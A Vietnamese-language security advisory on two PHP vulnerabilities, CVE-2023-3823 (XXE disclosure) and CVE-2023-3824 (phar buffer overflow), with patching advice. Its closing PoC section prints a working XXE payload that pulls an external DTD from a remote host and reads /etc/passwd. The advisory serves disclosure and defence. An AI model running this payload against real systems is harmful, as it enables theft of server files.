Tóm Tắt
Hai lỗ hổng nghiêm trọng vừa được phát hiện trong PHP - một ngôn ngữ lập trình phổ biến dùng để phát triển các ứng dụng viết cho máy chủ, mã nguồn mở, thích hợp để tạo các trang web động và có thể dễ dàng kết hợp với HTML.
CVE-2023-3823: Lỗi tiết lộ thông tin
Đây là lỗ hổng tiết lộ thông tin có điểm CVSS 8,6 cho phép kẻ tấn công từ xa đánh cắp thông tin nhạy cảm từ ứng dụng viết bằng PHP.
Lỗ hổng tồn tại do xác thực đầu vào XML của người dùng cung cấp không đầy đủ. Kẻ tấn công có thể khai thác lỗ hổng này bằng cách gửi mã XML tự tạo tới ứng dụng. Sau đó, ứng dụng sẽ phân tích cú pháp của mã này, từ đó kẻ tấn công có quyền truy cập vào thông tin nhạy cảm, chẳng hạn như nội dung của các tệp tùy ý trên hệ thống hoặc xem được kết quả các truy vấn bên ngoài.
Mọi ứng dụng, thư viện và máy chủ phân tích cú pháp hoặc tương tác với các tài liệu XML đều bị ảnh hưởng bởi CVE-2023-3823.
CVE-2023-3824: Lỗi tràn bộ đệm
Đây là lỗ hổng tràn bộ đệm có điểm CVSS 9,4 cho phép kẻ tấn công từ xa thực thi mã tùy ý trên hệ thống chạy bằng PHP.
Lỗ hổng tồn tại do kiểm tra giới hạn hàm phar_dir_read() không đúng. Kẻ tấn công có thể khai thác lỗ hổng này bằng cách gửi một yêu cầu tự tạo tới ứng dụng gây ra lỗi tràn bộ đệm, cho phép chúng giành quyền kiểm soát hệ thống và thực thi mã tùy ý.
Bên cạnh đó, vẫn còn rủi ro về việc tràn bộ đệm trong hàm "memset". Mặc dù hiện tại chưa có trường hợp nào xảy ra trong chính PHP, nhưng các tiện ích mở rộng từ bên thứ ba vẫn có thể bị ảnh hưởng bởi CVE-2023-3824.
Thực tế, việc tấn công và lạm dụng lỗ hổng này khá phức tạp, tùy thuộc vào ứng dụng bị nhắm mục tiêu. Tuy vậy, về mặt lý thuyết, việc khai thác vẫn có thể xảy ra. Theo khuyến cáo cho biết: "Những người kiểm tra nội dung của các tệp phar không đáng tin cậy có thể bị ảnh hưởng."
Khuyến cáo
Cả hai lỗ hổng CVE-2023-3823 và CVE-2023-3824 đều đã được vá trong phiên bản PHP 8.0.30 và đã có mã khai thác (PoC). Vì vậy, người dùng nên nâng cấp lên phiên bản mới càng sớm càng tốt và thực hiện thêm các bước dưới đây để bảo vệ các ứng dụng viết bằng PHP:
- Xác thực tất cả dữ liệu đầu vào của người dùng đầy đủ
- Sử dụng tường lửa ứng dụng web (WAF) để ngăn chặn các lỗ hổng và hành vi độc hại.
- Luôn cập nhật phiên bản mới nhất của PHP.
Hướng dẫn tấn công - PoC
Hành vi dường như phụ thuộc vào một số yếu tố "ngẫu nhiên".
Một gợi ý vào lúc này là nó hoạt động trong lần chạy đầu tiên trong quy trình PHP/Apache thường xuyên hơn sau đó được sử dụng lại. Chúng tôi chưa bao giờ có thể sản xuất nó trên Nginx với PHP-FPM
Chúng tôi không bao giờ có thể sản xuất nó trên CLI Chúng tôi đã có thể sao chép nó với các phiên bản bảo trì mới nhất của PHP 8.0, 8.1 và 8.2 cùng với Apache2 trên Debian
Chúng tôi không thể sao chép nó với các phiên bản bảo trì mới nhất của PHP bằng cách sử dụng Apache2 trên Ubuntu, nhưng trình báo cáo ban đầu dường như đang chạy trên Ubuntu.
PoC - Mã tham khảo
<?php
$xml= "<?xml version='1.0' encoding='utf-8' ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0gzLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D='DAV:'><D:allprop/></D:propfind>";
libxml_use_internal_errors(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
echo $dom->textContent;
foreach (libxml_get_errors() as $error) {
var_dump($error);
}
Nếu bạn không muốn chạy mã từ máy chủ của chúng tôi, bạn có thể thay thế https://bin.icewind.me/r/p0gzLJ bằng một liên kết của riêng bạn và làm cho nó phục vụ nội dung sau:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY % trick SYSTEM 'file://WOOT%payload;WOOT'>">
Vấn đề chúng tôi hiện đang phải đối mặt là như sau: Trong hầu hết các trường hợp, chúng tôi nhận được chính xác:
PEReference: %intern; not found on line …, column …
WOOT{{base64 encoded content of /etc/passwd}}WOOT
Hãy thử kết quả nhé,.
Xem thêm PoC gốc tại link dưới đây:
https://github.com/php/php-src/security/advisories/GHSA-3qrf-m4j2-pcrr